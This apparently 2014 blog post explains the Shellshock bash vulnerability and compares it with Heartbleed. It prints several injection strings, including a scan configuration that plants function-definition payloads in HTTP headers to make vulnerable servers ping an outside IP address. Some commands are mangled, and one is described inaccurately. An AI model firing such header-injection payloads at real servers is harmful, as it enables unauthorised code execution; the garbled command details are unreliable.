Any
person using a computer would not want allow someone to take over
their machine without their permission, but this is exactly what a
bash exploit, dubbed Shellshock, allows someone to do. The exploit
was first publicly mentioned midday Wednesday in the US and already
has many technologist scrambling to determine how widespread and
severe this exploit is in the wild. Time will tell how dire the
situation is as reports of seeing the bug being used. For now it is
being determined as worse than the infamous OpenSSL exploit
Heartbleed, which saw about two years of OpenSSL revisions being
vulnerable to the attack. The exploit allowed for a person to have a
server which used OpenSSL to read up to 64KB of memory previously
used by OpenSSL. This allowed for the retrieval of secure
information such as passwords, social security numbers and much more
from infected servers. This exploit is deadly, still can be found on
hundreds of thousands of servers, but it only allowed for the access
of information that OpenSSL had in RAM. What makes Shellshock much
more deadly is that it may allow for the complete control of a
machine when the exploit is used. Along with that the OpenSSL exploit
only affected around two years of revisions while the exploit for
bash affects about two and a half decades of bash revisions.
The
bug allows for severe exploits where someone without the permissions
to do so can run arbitrary code on any machine which uses a
vulnerable versions of bash. Bash is found in many flavors of Linux
as the default shell along with many versions of Mac OS X, but
surprisingly even Windows machines which by default can be exploited
when popular programs such as cygwin and GIT are installed on the
machine. There was a patch which was thought to have fixed the
original exploit, but with further testing there was found to be a
second way to cause an exploit with the way that bash handles the
importation of variables. A simple explotation for the first
vulnerability is:
env
X="() { :;} ; echo exploited"
bash
-c "echo stuff
what
is occurring is the way that bash handles importing variables is if
it starts with “() {“ such as in the example it runs it as a
function, this is a code injection exploit. Other
shell implementations read importation of variables as normal
strings. The
incomplete patch which was deployed by GNU has fixed this exploit,
but with more research developers have found that running:
env
-i X='() { (a)=>\' bash -c 'echo curl -s
https://bugzilla.redhat.com/';
head echo
this
will download the page source and echo the head of
bugzilla.redhat.com. These simple exploits do not do real harm to
the users machine. Another example using the original exploit is
with the use of http-header:
target
= 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan(http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header = Cookie:() { :; }; ping -c 3 209.126.230.74
http-header = Host:() { :; }; ping -c 3 209.126.230.74
http-header = Referer:() { :; }; ping -c 3 209.126.230.74
this makes it so that exploitable web servers, mainly those using Apache, to ping 209.126.230.74. A more robust implementation of this could allow someone to easily DDoS a company using the exploitable servers.
The first thought of many people
is wondering if they are infected, if any of the shown exploits cause
your machine to perform the same output these tested exploits are
shown to have than the answer is yes. Android and iOS are deemed
safe from the exploit due to the fact they rarely, if ever, use bash
as the shell. The Internet of Things, IoT or household devices which
use an operating system, are a mixed bag. Most do use Linux as the
OS but they are more commonly seen using lighter shell
implementations such as ash and Busybox. For the common users of
exploitable bash implementations they will quickly see GNU fix the
exploit of bash and push a new package out to the users to fix the
issue. The real problem is in large corporations and government
which require software updates go through an approval process which
take a fair bit of time which would allow the exploit to create huge
vulnerabilities in their systems. This is a deadly exploit which
should not be taken lightly and may cause enormous security risks
throughout the internet.
No comments:
Post a Comment